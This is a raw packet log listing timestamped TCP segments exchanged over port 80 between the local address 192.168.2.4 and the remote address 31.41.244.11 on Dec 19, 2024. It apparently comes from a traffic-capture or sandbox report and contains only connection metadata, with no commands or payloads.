Dec 19, 2024 14:10:40.231056929 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.231103897 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.234520912 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.234611034 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.234615088 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.234667063 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.237976074 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.237991095 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.238030910 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.238064051 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.269741058 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.269757032 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.269819975 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.342223883 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.342294931 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.342381001 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.342438936 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.343584061 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.343640089 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.343702078 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.343750954 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.346434116 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.346494913 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.346545935 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.346605062 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.349176884 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.349226952 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.349280119 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.349329948 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.351906061 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.351969957 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.351984978 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.352054119 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.354641914 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.354691029 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.354696989 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.354754925 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.357239962 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.357306004 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.357343912 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.357403994 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.359772921 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.359839916 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.359868050 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.359915018 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.362276077 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.362329960 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.362366915 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.362418890 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.364763021 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.364824057 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.364876032 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.364923000 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.367224932 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.367290020 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.367347002 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.367393017 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.369744062 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.369776011 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.369803905 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.369836092 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.372211933 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.372267962 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.372311115 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.372363091 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.374593019 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.374645948 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.374686003 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.374733925 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.377022982 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.377074003 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.377140045 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.377198935 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.379481077 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.379496098 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.379539013 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.379571915 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.381865978 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.381917000 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.381959915 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.382009029 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.384361029 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.384413958 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.384459972 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.384510040 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.386831045 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.386846066 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.386885881 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.386920929 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.389187098 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.389235973 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.389251947 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.389298916 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.391700983 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.391751051 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.391802073 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.391850948 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.394260883 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.394314051 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.394459009 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.394512892 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.396595001 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.396648884 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.396672010 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.396732092 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.398339033 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.398395061 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.398443937 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.398492098 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.400146008 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.400199890 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.400299072 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.400347948 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.401988029 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.402038097 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.402066946 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.402116060 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.403707981 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.403758049 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.403811932 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.403866053 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.405550957 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.405602932 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.405683994 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.405735016 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.407273054 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.407350063 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.407428980 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.407478094 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.409054995 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.409106970 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.409158945 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.409234047 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.410837889 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.410902023 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.410953045 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.411003113 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.412616968 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.412667036 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.412681103 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.412729979 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.414554119 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.414611101 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.414655924 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.414699078 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.416220903 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.416274071 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.416326046 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.416373968 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.417989016 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.418040037 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.418090105 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.418137074 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.419956923 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.420030117 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.420075893 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.420125008 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.421612978 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.421683073 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.421706915 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.421763897 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.423341036 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.423418999 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.423512936 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.423569918 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.425144911 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.425198078 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.534260035 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.534338951 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.534419060 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.534476995 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.534982920 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.535041094 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.535350084 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.535401106 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.535445929 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.535497904 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.536808014 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.536859989 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.536932945 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.536983967 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.538511992 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.538578987 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.538678885 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.538731098 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.539870977 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.539921999 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.539953947 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.540008068 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.541414022 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.541491985 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.541507006 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.541539907 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.542901993 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.542994022 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.543025017 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.543076038 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.544348001 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.544409037 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.544456959 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.544511080 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.545794964 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.545846939 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.545855999 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.545916080 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.547359943 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.547420025 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.547467947 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.547519922 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.548646927 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.548712015 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.548749924 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.548809052 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.550101042 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.550154924 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.550189972 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.550237894 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.551522970 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.551573992 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.551609993 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.551671028 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.552969933 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.553040028 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.553045034 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.553092003 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.554406881 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.554450035 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.554501057 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.554501057 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.555742979 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.555807114 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.555839062 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.555895090 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.557137012 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.557193995 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.557244062 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.557296038 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.558834076 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.558897018 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.558981895 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.559037924 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.560410023 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.560471058 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.560518980 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.560590029 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.561671972 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.561696053 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.561723948 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.561758995 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.562982082 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.563030005 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.563086033 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.563086033 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.564265013 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.564327002 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.564378023 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.564470053 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.565649986 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.565701962 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.565794945 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.565853119 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.567040920 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.567107916 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.567137957 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.567194939 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.568530083 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.568545103 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.568618059 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.568618059 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.569952011 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.570003033 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.570038080 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.570084095 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.571371078 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.571422100 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.571430922 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.571464062 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.572699070 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.572748899 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.572750092 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.572797060 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.574239016 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.574254036 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.574297905 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.574321032 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.575541019 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.575603008 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.575618029 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.575673103 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.577044964 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.577107906 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.577179909 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.577234983 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.578416109 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.578469038 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.578521013 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.578577995 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.579827070 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.579879999 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.579929113 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.579983950 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.581260920 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.581312895 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.581340075 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.581388950 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.582617998 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.582684994 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.582720995 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.582770109 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.584055901 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.584125996 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.584131956 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.584177017 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.585484028 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.585536957 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.585705996 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.585756063 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.586858034 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.586915970 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.586985111 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.587040901 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.588287115 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.588351011 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.588387966 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.588464022 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.589714050 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.589783907 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.589786053 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.589858055 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.591170073 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.591231108 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.591233015 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.591281891 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.592529058 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.592581987 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.592703104 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.592757940 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.594002008 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.594067097 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.594084978 CET	80	49837	31.41.244.11	192.168.2.4
